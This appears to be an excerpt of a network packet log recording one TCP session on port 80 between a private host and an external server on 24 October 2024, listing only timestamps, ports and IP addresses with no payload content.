Oct 24, 2024 09:07:30.471590042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.471623898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.471647978 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.471698046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.471740007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.471772909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.471792936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.471810102 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.471842051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.517576933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.517627954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.517667055 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.517713070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.517790079 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.542800903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.542859077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.542912960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.542943001 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.542994976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543051004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543082952 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.543133974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543186903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543221951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543246031 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.543267012 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.543339968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543395042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543428898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543459892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543479919 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.543497086 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.543548107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543600082 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543632984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543667078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543700933 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.543751001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543786049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543806076 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.543837070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543864965 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.543895960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543927908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543978930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.543993950 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.544019938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544058084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544079065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.544137001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544152021 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.544183016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544228077 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.544255018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544286966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544326067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544370890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544385910 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.544418097 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544450998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544473886 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.544507027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544534922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544569969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544580936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.544615030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544667006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544703007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544735909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544763088 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.544792891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544825077 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544858932 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544878960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.544900894 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.544929981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544964075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.544994116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545046091 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.545072079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545115948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545130968 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.545180082 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545213938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545243025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545265913 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.545283079 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.545314074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545347929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545382023 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545404911 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.545439005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545470953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545490026 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.545523882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545574903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545598030 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.545629978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545661926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545695066 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.545727968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545759916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545792103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545814991 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.545845032 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545877934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545924902 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.545944929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.545978069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546010971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546030998 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.546082973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546114922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546147108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546165943 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.546188116 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.546219110 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546360016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546374083 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546407938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546439886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546468019 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.546503067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546552896 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546586990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546613932 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.546647072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546679974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546700001 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.546730995 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546765089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546797991 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.546828985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546860933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546880960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.546922922 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.546950102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.546993971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547027111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547050953 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.547080994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547113895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547146082 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547195911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547230959 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.547261953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547297001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547333002 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.547364950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547399044 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547420979 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.547454119 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547486067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547519922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547539949 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.547563076 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.547593117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547625065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547657967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547691107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547712088 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.547733068 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.547763109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547795057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547827005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547847033 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.547878027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547888041 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547924042 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.547946930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.547980070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548000097 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.548031092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548063040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548094034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548113108 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.548146963 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548182011 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.548202038 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548233986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548266888 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548290968 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.548312902 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.548352003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548383951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548418045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548437119 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.548468113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548501015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548521042 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.548556089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548580885 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.548612118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548657894 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.548659086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548687935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548711061 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.548743010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548784971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548799038 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.548829079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548861027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548893929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548913002 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.548944950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.548976898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549000025 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.549020052 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.549048901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549084902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549114943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549134016 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.549165010 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549205065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549218893 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.549248934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549267054 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549294949 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.549318075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549355030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549386978 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.549412966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549458027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549489975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549510956 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.549540043 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.549561977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549597025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549608946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549638987 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.549664974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549695969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549717903 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.549751043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549778938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549812078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549844980 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.549877882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549897909 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.549927950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549959898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.549988031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.550008059 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.550028086 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.550059080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.550092936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.550111055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.550139904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.550160885 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.550192118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.550224066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.550257921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.550301075 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.552325010 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.552856922 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.586348057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.586364031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.586380005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.586395025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.586538076 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.586538076 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.588375092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.588392019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.588423014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.588437080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.588448048 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.588464975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.588478088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.588488102 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.588537931 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.588557959 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.588565111 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.588579893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.588593960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.588608980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.588632107 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.588659048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.588673115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.588685989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.588721991 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.634462118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.634481907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.634496927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.634511948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.634536028 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.634577990 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.659781933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.659801960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.659828901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.659842968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.659857988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.659881115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.659895897 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.659910917 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.659920931 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.659934998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.659950972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.659969091 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.660001040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660016060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660029888 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660039902 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.660054922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660064936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.660084009 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660098076 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660132885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660149097 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660176992 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.660201073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660214901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660237074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660250902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660276890 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.660334110 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660348892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660367966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660381079 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.660406113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660420895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660444021 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.660463095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.660482883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660495996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660509109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660526991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660528898 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.660559893 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.660609007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660623074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660638094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660650015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.660659075 CEST	49772	80	192.168.2.6	185.215.113.16
